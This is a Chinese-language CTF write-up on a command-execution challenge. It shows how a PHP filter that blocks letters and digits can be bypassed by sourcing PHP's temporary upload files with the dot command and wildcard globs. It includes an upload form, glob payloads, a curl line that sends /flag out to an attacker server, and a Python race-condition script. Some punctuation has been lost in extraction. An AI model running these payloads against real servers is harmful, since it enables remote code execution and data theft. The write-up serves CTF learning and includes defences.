CTFshow命令执行实战点号(.)在无字母数字限制下的妙用1. 突破无字母数字限制的核心思路在CTF比赛中命令执行类题目常常会设置各种过滤规则来限制选手的操作空间。其中最常见的就是过滤字母和数字字符这种限制看似严苛实则暗藏玄机。当遇到这类限制时我们需要跳出常规思维寻找那些被忽略的特殊符号的潜在价值。点号(.)在Linux系统中具有特殊含义它相当于source命令的简写形式。这个看似不起眼的小点在特定场景下可以成为突破防线的利器。与常见的通配符绕过不同点号绕过的核心在于执行权限无关性通过点号执行文件时不需要目标文件具备可执行权限临时文件利用结合上传功能产生的临时文件可以构造完整的攻击链正则盲区多数过滤规则会忽略对点号的限制形成安全防护的盲点2. 环境准备与基础知识2.1 Linux点号命令详解在Linux系统中点号(.)主要有以下两种用法# 用法1执行当前shell环境中的脚本 . /path/to/script.sh # 用法2等同于source命令 source /path/to/script.sh与直接执行脚本不同点号执行的特点包括执行方式需要执行权限运行环境变量影响范围./script.sh是子shell不保留. script.sh否当前shell保留2.2 CTF中常见过滤规则分析典型无字母数字限制的过滤规则通常如下if(!preg_match(/\;|[a-z]|\|\%|\x09|\x26|\gt;|\lt;/i, $c)){ system($c); }这条规则过滤了分号(;)所有字母字符(a-z)反引号()百分号(%)水平制表符(\x09)符号(, )但未过滤点号(.)3. 实战操作从文件上传到命令执行3.1 构造文件上传数据包首先需要准备一个能够上传文件的HTML表单!DOCTYPE html html head title文件上传POC/title /head body form actionhttp://target.url methodpost enctypemultipart/form-data input typefile namefile input typesubmit value上传 /form /body /html关键点在于必须设置enctypemultipart/form-data文件字段名需要与后端预期一致通常为file3.2 临时文件特征分析PHP处理上传文件时会先将文件存储在临时目录通常是/tmp并生成随机文件名。这些文件名的特征为/tmp/phpXXXXXX其中XXXXXX是6位随机字符大小写字母。我们可以利用通配符匹配这些文件通配符匹配规则示例匹配结果?匹配单个任意字符phpABC123[-[]匹配大写字母(A-Z)phpDEF456*匹配任意长度任意字符任何php开头的文件3.3 组合利用技巧完整的攻击流程分为三个步骤文件上传通过表单上传包含恶意命令的脚本文件临时文件定位使用通配符匹配/tmp/phpXXXXXX文件命令执行通过点号执行匹配到的临时文件实际操作命令示例. /???/????????[-[]这条命令的解析/???/匹配/tmp/目录假设tmp是3字母????????匹配8字符长度的文件名phpXXXXXX[-[]确保匹配大写字母提高命中率4. 高级技巧与变种应用4.1 无回显场景下的处理当命令执行没有直接回显时可以采用以下方法延时判断通过sleep命令观察响应时间差异外带数据使用curl/wget将结果发送到可控服务器文件写入将结果写入web目录可访问的文件#!/bin/sh curl http://your-server/?data$(cat /flag|base64)4.2 多级通配符优化在更严格的过滤环境下可以组合使用多种通配符. /???/php???[A-Z]*这种写法精确匹配php前缀限制随机字符范围适应不同长度的临时文件名4.3 竞争条件处理由于临时文件存在时间很短可能需要多次尝试或自动化脚本import requests import threading def upload_and_exec(): while True: files {file: (payload.sh, #!/bin/sh\ncat /flag, text/plain)} requests.post(target_url, filesfiles) requests.get(target_url, params{c: . /???/php??????}) threads [threading.Thread(targetupload_and_exec) for _ in range(10)] [t.start() for t in threads]5. 防御方案与题目设计建议对于防御者而言防范此类攻击需要多层防护输入过滤增强// 增加对点号的过滤 if(!preg_match(/\.|\;|[a-z]/i, $c)){ system($c); }临时文件处理设置upload_tmp_dir到非标准路径及时清理上传的临时文件权限控制location ~* \.(sh|bash)$ { deny all; }对于CTF题目设计者可以设计更复杂的场景限制通配符使用过滤?和*增加临时文件名的随机性混合特殊字符设置执行超时限制6. 同类题目扩展思路这种绕过方式可以衍生出多种变种题目有限字符集执行只允许使用$(){}[]?*等特殊符号无文件写入RCE结合环境变量注入等方式特殊上下文绕过在eval()、assert()等不同函数环境下的利用一个典型的进阶题目示例if(!preg_match(/[a-z0-9]|\/|\\\/i, $c)){ eval($c); }解法可能涉及??{${~\xa0\xb8\xba\xab}[\xa0]}?这种场景下点号绕过的思路同样适用只是需要结合更多编码技巧。